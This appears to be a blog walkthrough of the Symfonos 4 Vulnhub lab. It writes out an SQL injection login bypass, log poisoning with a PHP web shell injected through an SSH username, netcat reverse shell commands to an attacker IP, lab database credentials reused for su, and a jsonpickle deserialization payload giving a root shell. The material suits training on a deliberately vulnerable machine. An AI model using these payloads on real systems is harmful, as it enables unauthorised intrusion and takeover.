Symfonos 4 Vulnhub Walkthrough

Today we are goting to dive into an intermediate machine on the Vulnhub: Symfonos 4. The difficult part of the lab lies in the privilege escalation. But let's get into it.

IP Address Discovery

After importing the machine into VirtualBox, we may run netdiscover to identify IP address of the machine:

$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                          

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                        
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:14      1      60  Unknown vendor                                       
 192.168.56.100  08:00:27:30:60:35      1      60  PCS Systemtechnik GmbH                               
 192.168.56.254  08:00:27:be:e3:b9      1      60  PCS Systemtechnik GmbH 

The IP address of the target machine is found to be 192.168.56.254.

NMAP Scanning

Then we may conduct ports and services scanning with NMAP as shown below:

$ sudo nmap -sS -sC -sV -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 21:55 EDT
Nmap scan report for 192.168.56.254
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 f9:c1:73:95:a4:17:df:f6:ed:5c:8e:8a:c8:05:f9:8f (RSA)
|   256 be:c1:fd:f1:33:64:39:9a:68:35:64:f9:bd:27:ec:01 (ECDSA)
|_  256 66:f7:6a:e8:ed:d5:1d:2d:36:32:64:39:38:4f:9c:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:BE:E3:B9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We may notice there are two open ports: 22(SSH) and 80(HTTP) from the output of NMAP.

Enumeration

Since we can't do very much with SSH service at this point, the web application should be enumerated to gather information as much as possible. When we access the site with the browser, a site with a big image is presented:

The image can be downloaded to Kali for further analysis. However, no hidden message is found with the tools of exiftool, steghide, stegseek:

$ exiftool image.jpg 
ExifTool Version Number         : 13.25
File Name                       : image.jpg
Directory                       : .
File Size                       : 118 kB
File Modification Date/Time     : 2025:08:15 21:59:21-04:00
File Access Date/Time           : 2025:08:15 21:59:21-04:00
File Inode Change Date/Time     : 2025:08:15 21:59:21-04:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 1280
Image Height                    : 720
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1280x720
Megapixels                      : 0.922

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Symfonos4]
└─$ steghide extract -sf image.jpg                             
Enter passphrase: 
steghide: could not extract any data with that passphrase!

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Symfonos4]
└─$ stegseek image.jpg            
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Progress: 99.52% (132.8 MB)           
[!] error: Could not find a valid passphrase

robots.txt is not there as well:

$ curl http://192.168.56.254/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /robots.txt
on this server.<br />
</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 192.168.56.254 Port 80</address>
</body></html>

No any interesting information is found by Nikto:

$ nikto -h http://192.168.56.254
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.56.254
+ Target Hostname:    192.168.56.254
+ Target Port:        80
+ Start Time:         2025-08-15 22:01:17 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: c9, size: 59058b74c9871, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2025-08-15 22:01:33 (GMT-4) (16 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Then we can perform directory enumeration with gobuster together with a normal wordlist:

$ gobuster dir -u http://192.168.56.254 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.254
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,bak,php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 294]
/index.html           (Status: 200) [Size: 201]
/.php                 (Status: 403) [Size: 293]
/css                  (Status: 301) [Size: 314] [--> http://192.168.56.254/css/]
/manual               (Status: 301) [Size: 317] [--> http://192.168.56.254/manual/]
/js                   (Status: 301) [Size: 313] [--> http://192.168.56.254/js/]
/javascript           (Status: 301) [Size: 321] [--> http://192.168.56.254/javascript/]
/robots.txt           (Status: 403) [Size: 299]
/sea.php              (Status: 302) [Size: 0] [--> atlantis.php]
/atlantis.php         (Status: 200) [Size: 1718]
/.html                (Status: 403) [Size: 294]
/.php                 (Status: 403) [Size: 293]
/server-status        (Status: 403) [Size: 302]
/gods                 (Status: 301) [Size: 315] [--> http://192.168.56.254/gods/]
Progress: 1102800 / 1102805 (100.00%)
==============================================================  (Status: 403) [Size: 294]

With Gobuster, we may find one directory /gods and two files: /sea.php, /atlantis.php. Let's access them one by one. Three log files are seen in the directory of /gods. Download them to Kali, none of which gives any valuable information. When we access /sea.php, we are automatically redirectored to /atlantis.php.

Exploitation

We try to use default username and password: admin:admin to sign in without success. Then we attemp to use login bypass technique:

admin' or 1=1 -- 

It is working. Amazing. After we log in successfully, we are presented a drop-down. Choose one of them and find its url is suspicious:

http://192.168.56.254/sea.php?file=hades

We can strongly guess here is vulnerable to file inclusion. In order to test it, we may launch Burpsuite to intercept the request which can then be sent to the repeater module. We can play various testing around in the repeater module.

Tried to access /etc/passwd, but it failed. Since ssh service is running on the target machine, we can try to access authentication log file:/var/log/auth.log. Here we should exclude extention of log, we believe background script on the server has already taken care of the extension.

It works. Beautiful. So what can we do next? Our goal next is to poison this authentication log file. To do this, we may use malicous payload (web shell) as username to ssh to the target machine. Unfortunately, newer distrition of Kali has already prevented us from puting such malicous payload as username.

$ ssh '<?php system($_GET["cmd"]); ?>'@192.168.56.254
remote username contains invalid characters

Don't worry, we may use Metasploit framework for the same purpose:

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show options 

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   CreateSession     true             no        Create a new session for every successful login
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current dat
                                                abase
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current databas
                                                e (Accepted: none, user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/doc
                                                s/using-metasploit/basics/using-metasploit.html
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space,
                                                 one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.56.254
RHOSTS => 192.168.56.254
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME <?php system($_GET["cmd"]); ?>
USERNAME => <?php system($_GET[cmd]); ?>
msf6 auxiliary(scanner/ssh/ssh_login) > set password anything
password => anything
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.56.254:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Great. The command can be executed successfully:

Now it is time to run reverse shell command. But on Kali we should set up listener with netcat :

$ sudo nc -nlvp 5555                                         
[sudo] password for kali: 
listening on [any] 5555 ...

Then we replace the id command with reverse shell command:

http://192.168.56.254/sea.php?file=../../../../../../../../var/log/auth&cmd=nc%20-e%20/bin/bash%20192.168.56.103%205555
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Symfonos4]
└─$ sudo nc -nlvp 5555                                         
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.254] 36478

As you see above, we are excited to get connection from the target machine. We go furthemore gathering information as much as possible. Database connection credentials can be found in the file: /atlantis.php

www-data@symfonos4:/var/www/html$ cat atlantis.php
cat atlantis.php
<?php
   define('DB_USERNAME', 'root');
   define('DB_PASSWORD', 'yVzyRGw3cG2Uyt2r');
   $db = new PDO("mysql:host=localhost:3306;dbname=db", DB_USERNAME,DB_PASSWORD);
www-data@symfonos4:/home$ mysql -uroot -p 
mysql -uroot -p
Enter password: yVzyRGw3cG2Uyt2r

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 20
Server version: 10.3.15-MariaDB-1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| db                 |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.016 sec)

MariaDB [(none)]> use db;
use db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [db]> show tables;
show tables;
+--------------+
| Tables_in_db |
+--------------+
| users        |
+--------------+
1 row in set (0.000 sec)

MariaDB [db]> select * from users;
select * from users;
+----------+------------------------------------------------------------------+
| username | pwd                                                              |
+----------+------------------------------------------------------------------+
| admin    | b674f184cd52edabf2c38c0142452c0af7e21f71e857cebb856e3ad7714b99f2 |
+----------+------------------------------------------------------------------+
1 row in set (0.000 sec)

We can connect to the database but nothing valuable is found. How about we use the retrieved password for the user:poseidon. After all, there is only one normal user in the machine. We can try to see whether there is password reuse.

www-data@symfonos4:/home$ su - poseidon
su - poseidon
Password: yVzyRGw3cG2Uyt2r

poseidon@symfonos4:~$ ls -alh
ls -alh
total 24K
drwxr-xr-x 3 poseidon poseidon 4.0K Aug 15 21:49 .
drwxr-xr-x 3 root     root     4.0K Aug 17  2019 ..
lrwxrwxrwx 1 root     root        9 Aug 18  2019 .bash_history -> /dev/null
-rw-r--r-- 1 poseidon poseidon  220 Aug 17  2019 .bash_logout
-rw-r--r-- 1 poseidon poseidon 3.5K Aug 17  2019 .bashrc
drwx------ 3 poseidon poseidon 4.0K Aug 15 21:49 .gnupg
-rw-r--r-- 1 poseidon poseidon  807 Aug 17  2019 .profile

Without any hesitation, we can have a much better shell with SSH:

$ ssh poseidon@192.168.56.254                                    
The authenticity of host '192.168.56.254 (192.168.56.254)' can't be established.
ED25519 key fingerprint is SHA256:ntMXt1jIeiDKNEuRMRXU6uCVo/fmwaEqmxDA5r4nwds.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.254' (ED25519) to the list of known hosts.
poseidon@192.168.56.254's password: 
Linux symfonos4 4.19.0-5-686 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 18 02:50:19 2019 from 192.168.1.147

Next linpeas.sh can be uploaded to the target machine. Later this script can be used to gather much more information than manual enumeration. Of course, to do this, we set up web server on Kali by Python3:

─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Back to the target's shell, we may use wget to upload the script then execte it.

oseidon@symfonos4:/tmp$ wget http://192.168.56.103:8000/linpeas.sh
--2025-08-15 21:52:57--  http://192.168.56.103:8000/linpeas.sh
Connecting to 192.168.56.103:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847924 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                  100%[==========================================>] 828.05K  --.-KB/s    in 0.003s  

2025-08-15 21:52:57 (257 MB/s) - ‘linpeas.sh’ saved [847924/847924]

poseidon@symfonos4:/tmp$ chmod +x linpeas.sh 
poseidon@symfonos4:/tmp$ ./linpeas.sh 
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                  
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*                                     
tcp     LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*      
tcp     LISTEN   0        128            127.0.0.1:8080          0.0.0.0:*      
tcp     LISTEN   0        128                 [::]:22               [::]:*      
tcp     LISTEN   0        128                    *:80                  *:*  

Privilege Escalation

As shown in the part of output by Linpeas.sh, port 8080 is open but only accessible locally. To access the application, we can forward this web application with SSH:

$ ssh -L 8080:127.0.0.1:8080 poseidon@192.168.56.254
─$ ss -tunlp | grep 8080            
tcp   LISTEN 0      128                 [::1]:8080          [::]:*    users:(("ssh",pid=35501,fd=4))  
tcp   LISTEN 0      50     [::ffff:127.0.0.1]:8080             *:*    users:(("java",pid=21659,fd=36))

As shown in the above figure, port forwarding has been enabled. But for whaever reason, when we access the port 8080 locally on Kali, it fails. So we can turn to socat to set up port forwarding.

poseidon@symfonos4:/tmp$ which socat
/usr/bin/socat
poseidon@symfonos4:/tmp$ socat tcp-listen:9000,reuseaddr,fork tcp:127.0.0.1:8080

This time we access the forwarded web applicaiton with the browser. Beautiful! Since no much functions here are provided by this application. We may launch BursSuite to see what is going on.

It seems the username has been encoded.

$ echo 'eyJweS9vYmplY3QiOiAiYXBwLlVzZXIiLCAidXNlcm5hbWUiOiAiUG9zZWlkb24ifQ==' | base64 -d
{"py/object": "app.User", "username": "Poseidon"} 

Possibly attack vector lies in this process. However what exactly is going here. We can get the source code responsible for this applicaiton:

poseidon@symfonos4:/opt/code$ cat app.py
cat app.py
from flask import Flask, request, render_template, current_app, redirect

import jsonpickle
import base64

app = Flask(__name__)

class User(object):

    def __init__(self, username):
        self.username = username


@app.route('/')
def index():
    if request.cookies.get("username"):
        u = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
        return render_template("index.html", username=u.username)
    else:
        w = redirect("/whoami")
        response = current_app.make_response(w)
        u = User("Poseidon")
        encoded = base64.b64encode(jsonpickle.encode(u))
        response.set_cookie("username", value=encoded)
        return response


@app.route('/whoami')
def whoami():
    user = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
    username = user.username
    return render_template("whoami.html", username=username)


if __name__ == '__main__':
    app.run()

From the source code, we can tell one python module jsonpickle is used. Reverse shell command can be put into the username field in the request. Of course, the payload should be encoded with Base64:

{"py/object":"main.Shell","py/reduce":[{"py/type":"os.system"},{"py/tuple":["/usr/bin/nc -e /bin/bash 192.168.56.103 6666"]},null,null,null]}
$ sudo nc -nlvp 6666                         
[sudo] password for kali: 
listening on [any] 6666 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.254] 57860
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls -alh
total 24K
drwx------  3 root root 4.0K Aug 19  2019 .
drwxr-xr-x 18 root root 4.0K Aug 17  2019 ..
lrwxrwxrwx  1 root root    9 Aug 18  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4.0K Aug 19  2019 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root 1.3K Aug 19  2019 proof.txt
cat proof.txt

        Congrats on rooting symfonos:4!
 ~         ~            ~     w   W   w
                    ~          \  |  /       ~
        ~        ~        ~     \.|./    ~
                                  |
                       ~       ~  |           ~
       o        ~   .:.:.:.       | ~
  ~                 wwWWWww      //   ~
            ((c     ))"""((     //|        ~
   o       /\/\((  (( 6 6 ))   // |  ~
          (d d  ((  )))^(((   //  |
     o    /   / c((-(((')))-.//   |     ~
         /===/ `) (( )))(( ,_/    |~
  ~     /o o/  / c((( (()) |      |  ~          ~
     ~  `~`^  / c (((  ))  |      |          ~
             /c  c(((  (   |  ~   |      ~
      ~     /  c  (((  .   |      |   ~           ~
           / c   c ((^^^^^^`\   ~ | ~        ~
          |c  c c  c((^^^ ^^^`\   |
  ~        \ c   c   c(^^^^^^^^`\ |    ~
       ~    `\ c   c  c;`\^^^^^./ |             ~
              `\c c  c  ;/^^^^^/  |  ~
   ~        ~   `\ c  c /^^^^/' ~ |       ~
         ~        `;c   |^^/'     o
             .-.  ,' c c//^\\         ~
     ~      ( @ `.`c  -///^\\\  ~             ~
             \ -` c__/|/     \|
      ~       `---'   '   ~   '          ~
 ~          ~          ~           ~             ~
        Contact me via Twitter @zayotic to give feedback!

Fianlly we grab the final flag and get root's shell.

Related Articles

HackTheBox Lame CTF Walkthrough

Read Article
Dhanush VulnHub CTF Walkthrough

Read Article
MinU v2 VulnHub Walkthrough: Full CTF Guide

Read Article

Comments

Leave a Comment
Bob
Aug 17, 2025 13:11

test